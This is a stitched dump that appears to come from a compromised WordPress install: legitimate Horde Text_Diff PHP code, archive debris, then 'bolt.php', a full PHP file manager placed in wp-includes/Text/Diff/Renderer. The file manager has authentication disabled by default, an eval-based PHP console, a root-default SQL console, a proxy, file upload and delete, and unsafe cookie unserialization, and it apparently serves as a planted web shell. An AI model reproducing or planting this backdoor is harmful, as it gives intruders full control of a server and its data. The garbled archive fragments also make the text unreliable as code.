                $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]);
                $pt1 = $pt2;
            }
        }
    }

    /**
     * Adjusts inserts/deletes of identical lines to join changes as much as
     * possible.
     *
     * We do something when a run of changed lines include a line at one end
     * and has an excluded, identical line at the other.  We are free to
     * choose which identical line is included.  `compareseq' usually chooses
     * the one at the beginning, but usually it is cleaner to consider the
     * following identical line to be the "change".
     *
     * This is extracted verbatim from analyze.c (GNU diffutils-2.7).
     */
    function _shiftBoundaries($lines, &$changed, $other_changed)
    {
        $i = 0;
        $j = 0;

        assert(count($lines) == count($changed));
        $len = count($lines);
        $other_len = count($other_changed);

        while (1) {
            /* Scan forward to find the beginning of another run of
             * changes. Also keep track of the corresponding point in the
             * other file.
             *
             * Throughout this code, $i and $j are adjusted together so that
             * the first $i elements of $changed and the first $j elements of
             * $other_changed both contain the same number of zeros (unchanged
             * lines).
             *
             * Furthermore, $j is always kept so that $j == $other_len or
             * $other_changed[$j] == false. */
            while ($j < $other_len && $other_changed[$j]) {
                $j++;
            }

            while ($i < $len && ! $changed[$i]) {
                assert($j < $other_len && ! $other_changed[$j]);
                $i++; $j++;
                while ($j < $other_len && $other_changed[$j]) {
                    $j++;
                }
            }

            if ($i == $len) {
                break;
            }

            $start = $i;

            /* Find the end of this run of changes. */
            while (++$i < $len && $changed[$i]) {
                continue;
            }

            do {
                /* Record the length of this run of changes, so that we can
                 * later determine whether the run has grown. */
                $runlength = $i - $start;

                /* Move the changed region back, so long as the previous
                 * unchanged line matches the last changed one.  This merges
                 * with previous changed regions. */
                while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) {
                    $changed[--$start] = 1;
                    $changed[--$i] = false;
                    while ($start > 0 && $changed[$start - 1]) {
                        $start--;
                    }
                    assert($j > 0);
                    while ($other_changed[--$j]) {
                        continue;
                    }
                    assert($j >= 0 && !$other_changed[$j]);
                }

                /* Set CORRESPONDING to the end of the changed run, at the
                 * last point where it corresponds to a changed run in the
                 * other file. CORRESPONDING == LEN means no such point has
                 * been found. */
                $corresponding = $j < $other_len ? $i : $len;

                /* Move the changed region forward, so long as the first
                 * changed line matches the following unchanged one.  This
                 * merges with following changed regions.  Do this second, so
                 * that if there are no merges, the changed region is moved
                 * forward as far as possible. */
                while ($i < $len && $lines[$start] == $lines[$i]) {
                    $changed[$start++] = false;
                    $changed[$i++] = 1;
                    while ($i < $len && $changed[$i]) {
                        $i++;
                    }

                    assert($j < $other_len && ! $other_changed[$j]);
                    $j++;
                    if ($j < $other_len && $other_changed[$j]) {
                        $corresponding = $i;
                        while ($j < $other_len && $other_changed[$j]) {
                            $j++;
                        }
                    }
                }
            } while ($runlength != $i - $start);

            /* If possible, move the fully-merged run of changes back to a
             * corresponding run in the other file. */
            while ($corresponding < $i) {
                $changed[--$start] = 1;
                $changed[--$i] = 0;
                assert($j > 0);
                while ($other_changed[--$j]) {
                    continue;
                }
                assert($j >= 0 && !$other_changed[$j]);
            }
        }
    }

}
PK     |\@[    	  xdiff.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
 * to compute the differences between the two input arrays.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Jon Parise <jon@horde.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_xdiff {

    /**
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        /* Convert the two input arrays into strings for xdiff processing. */
        $from_string = implode("\n", $from_lines);
        $to_string = implode("\n", $to_lines);

        /* Diff the two strings and convert the result to an array. */
        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
        $diff = explode("\n", $diff);

        /* Walk through the diff one line at a time.  We build the $edits
         * array of diff operations by reading the first character of the
         * xdiff output (which is in the "unified diff" format).
         *
         * Note that we don't have enough information to detect "changed"
         * lines using this approach, so we can't add Text_Diff_Op_changed
         * instances to the $edits array.  The result is still perfectly
         * valid, albeit a little less descriptive and efficient. */
        $edits = array();
        foreach ($diff as $line) {
            if (!strlen($line)) {
                continue;
            }
            switch ($line[0]) {
            case ' ':
                $edits[] = new Text_Diff_Op_copy(array(substr($line, 1)));
                break;

            case '+':
                $edits[] = new Text_Diff_Op_add(array(substr($line, 1)));
                break;

            case '-':
                $edits[] = new Text_Diff_Op_delete(array(substr($line, 1)));
                break;
            }
        }

        return $edits;
    }

}
PK       |\Eћ      
                string.phpnu [        PK       |\S  S  	               shell.phpnu [        PK       |\'5>  >  
            a5  native.phpnu [        PK       |\@[    	            Lt  xdiff.phpnu [        PK      &   }    PK     |\o< <  <   bolt.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php                                 0000644                 00000232745 15217274105 0021423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
